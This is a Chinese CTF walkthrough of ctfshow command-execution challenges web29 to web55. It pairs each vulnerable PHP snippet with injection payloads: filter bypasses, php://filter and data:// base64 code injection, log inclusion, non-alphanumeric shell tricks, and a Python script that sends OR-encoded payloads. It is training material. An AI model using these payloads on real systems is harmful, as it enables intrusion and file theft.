https://npfs06.top/2020/10/11/CTFshow-web%E5%85%A5%E9%97%A8-%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C/
https://www.d1a0.cn/2020/11/20/ctfshow-web%E5%85%A5%E9%97%A8%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C/
file:///C:/Users/17125/Desktop/ctfshow%20web%E5%85%A5%E9%97%A8%20%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%20wp.pdf
https://blog.csdn.net/qq_46091464/article/details/108513145
https://ctf.show/challenges#web55-418
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
https://www.leavesongs.com/
https://blog.csdn.net/qq_46091464/article/details/108555433
https://blog.csdn.net/miuzzx
https://segmentfault.com/a/1190000018991087
https://www.cnblogs.com/erR0Ratao/p/13640600.html
https://blog.csdn.net/miuzzx
目录
- web29
- web30
- web31
- web32
- web33
- web34
- web35
- web36
- web37
- web38
- web39
- web40
- web41
- web42
- web43
- web44
- web45
- web46
- web47
- web48
- web49
- web50
- web51
- web52
- web53
- web54
- web55
web29
<?phperror_reporting(0);if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ eval($c); } }else{ highlight_file(__FILE__);} ?>
过滤了flag
eval
?c=system('cat f*');?c=system(%27cat%20fl??.php%27);?c=system(%27cat%20fl``ag.php%27);
我sb了,一直看不到flag,以为是网站的原因
结果是问探花,因为是 cat flag.php
所以查看源码才能看到
大佬做法
?c=echo "npfs";?>ctf <?php system('ls');?c=echo "npfs"; ?>ctf <?php include($_GET['url']);&url=php://filter/read=convert.base64-encode/resource=flag.php?c=echo `nl fl''ag.php`?c=system('cat *.php');
web30
<?phperror_reporting(0);if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php/i", $c)){ eval($c); } }else{ highlight_file(__FILE__);}
这里过滤了 flag system php
常见的系统命令执行函数
system()passthru()exec()shell_exec()popen()proc_open()pcntl_exec()反引号 同shell_exec() # 这里需要注意一下,只有system函数是有回显的,其他的函数可以通过echo等显示
exec和shell_exec的区别
exec只返回结果的最后一行,而shell_exec返回完整结果。
?c=echo shell_exec(' ls ' );加粗样式
?c=echo shell_exec(' cat f* ' );
大佬做法
?c=echo \`cat f*`;?c=echo "npfs "; include($_GET['url']); ?>&url=php://filter/read=convert.base64-encode/resource=flag.php?c=echo shell_exec('cat fl``ag.p``hp');?c=echo `nl fl''ag.p''hp`;
web31
error_reporting(0);if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){ eval($c); } }else{ highlight_file(__FILE__);}
空格绕过
> < <> 重定向符%09(需要php环境)${IFS}$IFS$9{cat,flag.php} //用逗号实现了空格功能%20%09
cat 绕过
more:一页一页的显示档案内容less:与 more 类似head:查看头几行tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示tail:查看尾几行nl:显示的时候,顺便输出行号od:以二进制的方式读取档案内容vi:一种编辑器,这个也可以查看vim:一种编辑器,这个也可以查看sort:可以查看uniq:可以查看file -f:报错出具体内容
?c=echo(%60ls%60); // ?c=echo(`ls`);?c=echo(`nl%09f*`);
大佬做法
?c=echo(`tac%09f*`);?c=include($_GET["url"]);?>&url=php://filter/read=convert.base64-encode/resource=flag.php?c=show_source(next(array_reverse(scandir(pos(localeconv())))));?c=$a=show_source($_GET[1])?>&1=flag.php #无分号?c=eval($_GET[1])?>&1=system('cat flag.php');?c=?><?=`$_GET[1]`;&1=cat flag.php;?c=?><?=passthru($_GET[1]);&1=cat flag.php;?c=echo(`nl%09*`);
web32
error_reporting(0);if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){ eval($c); } }else{ highlight_file(__FILE__);}
过滤了括号
括号绕过
这次直接连echo都直接过滤了,包括括号也过滤了,php中不用括号的函数有echo、print、die、include、require、include_once、require_once,用include函数和post传伪协议构成payload
?c=include$_GET["a"]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
大佬做法
?c=include$_POST["npfs"]?>npfs=php://filter/read=convert.base64-encode/resource=flag.php?c=include$_GET["npfs"]?>&npfs=php://filter/read=convert.base64-encode/resource=flag.php?c=$nice=include$_GET[%22url%22]?%3E&url=php://filter/read=convert.base64-encode/resource=flag.php?c=?><?=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php?c=include$_GET[a]?>&a=data://text/palin,
web33
error_reporting(0);if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){ eval($c); } }else{ highlight_file(__FILE__);}
过滤了’ ’ 和 “”
数组作为参数即可绕过
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
大佬做法
?c=include$_POST[1]?>1=php://filter/read=convert.base64-encode/resource=flag.php?c=include$_GET[a]?>&a=data://text/palin,c=?><?=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
web34
error_reporting(0);if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){ eval($c); } }else{ highlight_file(__FILE__);}
过滤了 :。。。感觉没什么用
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
web35
error_reporting(0);if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){ eval($c); } }else{ highlight_file(__FILE__);}
过滤了<
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
web36
error_reporting(0);if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){ eval($c); }}else{ highlight_file(__FILE__);}
- 123
过滤了数字,使用字母代替即可
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
web37
error_reporting(0);if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ include($c); echo $flag; } }else{ highlight_file(__FILE__);}
include($c);,文件包含
利用伪协议读flag
data://,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行flag.php 可以用通配符绕过
大佬做法
?c=data://text/plain,?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg== #
?c=/var/log/nginx/access.log 可以查看日志
web38
error_reporting(0);if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|php|file/i", $c)){ include($c); echo $flag; } }else{ highlight_file(__FILE__);}
base64 YYDS
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZioiKTs/Pg==#也可以日志包含?c=/var/log/nginx/access.log
web39
error_reporting(0);if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ include($c.".php"); }}else{ highlight_file(__FILE__);}
在之前的基础上加了.php后缀 这样就相当于执行了php语句.php
因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什
?c=data://text/plain,%3C?php%20system(%22%20cat%20f*%22);?%3E
web40
if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){ eval($c); } }else{ highlight_file(__FILE__);}
法一
过滤了引号、美元符号、冒号,这里可以构造无参数函数进行文件读取
无参数的意思可以是a()、a(b())或a(b(c())),但不能是a(‘b’)或a(‘b’,‘c’),不能带参数
?c=print_r(scandir(current(localeconv())));
localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)
pos():返回数组中的当前元素的值。
array_reverse():数组逆序
scandir():获取目录下的文件
next(): 函数将内部指针指向数组中的下一个元素,并输出。
首先通过 pos(localeconv())得到点号,因为scandir(’.’)表示得到当前目录下的文件,所以
scandir(pos(localeconv()))就能得到flag.php了。具体内容如下
看了上面这篇文章应该可以知道scandir(current(localeconv())) 查看当前目录所有文件名
我们可以发现flag.php在数组的倒数第二个值里,我们可以通过 array_reverse 进行逆转数组,然后用next()函数进行下一个值的读取,记得成功读取flag.php文件
大佬做法
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));?c=highlight_file(next(array_reverse(scandir(current(localeconv())))));
法二
?c=session_start();system(session_id());
受php版本影响 5.5 -7.1.9均可以执行,因为session_id规定为0-9,a-z,A-Z,-中的字符。在5.5以下及7.1以上均无法写入除此之外的内容。但是符合要求的字符还是可以的。
web41
if(isset($_POST['c'])){ $c = $_POST['c'];if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){ eval("echo($c);"); }}else{ highlight_file(__FILE__);}
过滤数字、字母、^、+、~、$、[、]、{、}、&、-【不区分大小写】& 按位与 |按位或 ^按位异或 ~取反 为四大位运算符,其中按位异|没有过滤,过滤的字符是防异或、自增和取反构造字符
大佬做法
法一
我们可以尝试从ascii为0-255的字符中,找到或运算能得到我们可用的字符的字符。
rce_or.php
生成可用字符的集合
$myfile = fopen("rce_or.txt", "w");$contents="";for ($i=0; $i < 256; $i++) { for ($j=0; $j <256 ; $j++) { if($i<16){$hex_i='0'.dechex($i);}else{$hex_i=dechex($i);}if($j<16){$hex_j='0'.dechex($j);}else{$hex_j=dechex($j);}$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){echo ""; } else{$a='%'.$hex_i;$b='%'.$hex_j;$c=(urldecode($a)|urldecode($b));if (ord($c)>=32&ord($c)<=126) {$contents=$contents.$c." ".$a." ".$b."\n";}}}}fwrite($myfile,$contents);fclose($myfile);
exp.py
# -*- coding: utf-8 -*-import requestsimport urllibfrom sys import *import osos.system("php rce_or.php") #没有将php写入环境变量需手动运行if(len(argv)!=2): print("="*50) print('USER:python exp.py ' ) print("eg: python exp.py http://ctf.show/") print("="*50) exit(0)url=argv[1]def action(arg): s1="" s2="" for i in arg: f=open("rce_or.txt","r") while True: t=f.readline() if t=="": break if t[0]==i: #print(i) s1+=t[2:5] s2+=t[6:9] break f.close() output="(\""+s1+"\"|\""+s2+"\")" return(output) while True: param=action(input("\n[+] your function:") )+action(input("[+] your command:")) data={ 'c':urllib.parse.unquote(param) } r=requests.post(url,data=data) print("\n[*] result:\n"+r.text)
大体意思就是从进行异或的字符中排除掉被过滤的,然后在判断异或得到的字符是否为可见字符
python exp.py url
法二
$payload = 'phpinfo';$length = strlen($payload);$a = '';$b = '';$flag = 0;echo '
';for ($l = 0; $l < $length; $l++) { $flag=0; for ($i = 1; $i < 256; $i++) { if(preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i',chr($i))) continue; for ($j = 1; $j < 256; $j++) { if(preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i',chr($j))) continue; if ((chr($i) | chr($j)) === $payload[$l]) { echo urlencode(chr($i)); $a=$a.urlencode(chr($i)); echo '|'; echo urlencode(chr($j)); $b=$b.urlencode(chr($j)); echo '=' . $payload[$l]; echo "
"; $flag=1; break; } } if($flag===1){ break; } }}echo $a.'|'.$b;
?c='');('%13%19%13%14%05%0D'|'%60%60%60%60%60%60')(('%03%01%14'|'%60%60%60').' '.('%06%0C%01%07%02%10%08%10'|'%60%60%60%60%2C%60%60%60'));//?c='');system("cat flag.php");//
web42
if(isset($_GET['c'])){ $c=$_GET['c']; system($c." >/dev/null 2>&1");}else{ highlight_file(__FILE__);}
关键代码 >/dev/null 2>&1
会将标准输出,错误输出都重定向至/dev/null,也就是全部丢弃
参考
我们要让命令回显,那么进行命令分隔即可
;//分号|//只执行后面那条命令||//只执行前面那条命令&//两条命令都会执行&&//两条命令都会执行%0a //换行,同样可以进行命令分隔
大佬做法
?c=ls%0a?c=cat%20flag.php%0a?c=cat%20flag.php||
web43
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat/i", $c)){ system($c." >/dev/null 2>&1"); }}else{ highlight_file(__FILE__);}
过滤了 cat
?c=ls||?c=nl flag.php%0a?c=nl%20fl*||?c=tac flag.php||
web44
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/;|cat|flag/i", $c)){ system($c." >/dev/null 2>&1"); }}else{ highlight_file(__FILE__);}
?c=ls||?c=nl flag.php%0a?c=nl%20fl*||?c=sort%20fl*||?c=nl%20`ls`||
web45
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| /i", $c)){ system($c." >/dev/null 2>&1"); }}else{ highlight_file(__FILE__);}
多过滤了个空格
空格绕过
>` `<` `<>` 重定向符`%09`(需要php环境)`${IFS}``$IFS$9``{cat,flag.php}` //用逗号实现了空格功能`%20``%09
?c=sort${IFS}fl*|| ?c=echo$IFS`tac$IFS*`%0A?c=nl$IFS`ls`||?c=tac%09fla?????||
这里有一点很奇怪,*通配符不能与IFS或<不能一起使用
web46
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){ system($c." >/dev/null 2>&1"); }}else{ highlight_file(__FILE__);}
过滤了数子,$,*等,通配符可以使用?问号,空格可用%09 (不属于数字)
大佬做法
?c=tac%09fla?????||?c=sort%09fl?g.php||?c=nl<fla''g.php||?c=sort%09fla?????||?c=tac%09fla??php||
web47
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){ system($c." >/dev/null 2>&1"); }}else{ highlight_file(__FILE__);}
大佬做法
?c=nl<fla''g.php||?c=nl<fla\g.php||?c=nl<fla``g.php||?c=tac%09fla?????||?c=tac%09fl?g.php||
web48
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){ system($c." >/dev/null 2>&1"); }}else{ highlight_file(__FILE__);}
大佬做法
?c=tac%09fla??php||?c=nl<fla''g.php||
web49
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){ system($c." >/dev/null 2>&1"); }}else{ highlight_file(__FILE__);}
大佬做法
?c=tac%09fla??php||?c=nl<fl''ag.php||
这里貌似 %09需要与??匹配
< 与 ‘’ 匹配
web50
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){ system($c." >/dev/null 2>&1"); }}else{ highlight_file(__FILE__);}
?c=nl%3Cfla%27%27g.php||
web51
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){ system($c." >/dev/null 2>&1"); }}else{ highlight_file(__FILE__);}
?c=nl%3Cfla%27%27g.php||
大佬做法
?c=nl<>fla\g.php%0a
web52
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\, $c)){ system($c." >/dev/null 2>&1"); }}else{ highlight_file(__FILE__);}
?c=nl${IFS}fla\g.php%0a
得到假flag
看 根目录
?c=ls${IFS}/%0a
?c=nl${IFS}/f???%0a
大佬做法
?c=nl${IFS}/fla\g%0a?c=nl$IFS/fl''ag||?c=c''at${IFS}/f???%0a
因为是根目录 切勿忘记 ${IFS} $IFS 后的 /
web53
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\, $c)){ echo($c); $d = system($c); echo "
".$d; }else{ echo 'no'; }}else{ highlight_file(__FILE__);}
由于
echo($c); $d = system($c); echo "
".$d;
直接
?c=nl${IFS}fla''g.php
大佬做法
?c=c''at${IFS}fla''g.p''hp?c=nl${IFS}fla\g.php?c=nl${IFS}fl%27%27ag.php
web54
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\, $c)){ system($c); }}else{ highlight_file(__FILE__);}
这一题过滤了常用的命令,但是还有一个paste命令,paste 指令会把每个文件以列对列的方式,一列列地加以合并。
?c=paste${IFS}f???.???
还有一个grep命令,Linux grep 命令用于查找文件里符合条件的字符串。 在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。 此时,可以使用如下命令:
grep test *file
payload:?c=grep${IFS}%27{%27${IFS}fl???php意思就是在 fl???php匹配到的文件中,查找含有{的文件,并打印出包含 { 的这一行
大佬做法
?c=/bin/?at${IFS}f?????hp
web55
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\, $c)){ system($c); }}else{ highlight_file(__FILE__);}
无字母数字的命令执行
法一
base64的使用
bin
为binary的简写主要放置一些 系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等
这里我们可以利用 base64 中的64 进行通配符匹配
即 /bin/base64 flag.php
?c=/???/????64%20????.??? //即 /bin/base64 flag.php
bzip2的使用
bzip2是linux下面的压缩文件的命令
/usr/bin目录
主要放置一些应用软件工具的必备执行档例如c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome、 zip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、 newaliases、nslookup passwd、quota、smb、wget等。
我们可以利用/usr/bin下的bzip2意思就是说我们先将flag.php文件进行压缩,然后再将其下载
?c=/???/???/????2 ????.??? //即 /usr/bin/bzip2 flag.php//然后在url + /flag.php.bz2
法二
来源地址:https://blog.csdn.net/weixin_45889204/article/details/119462530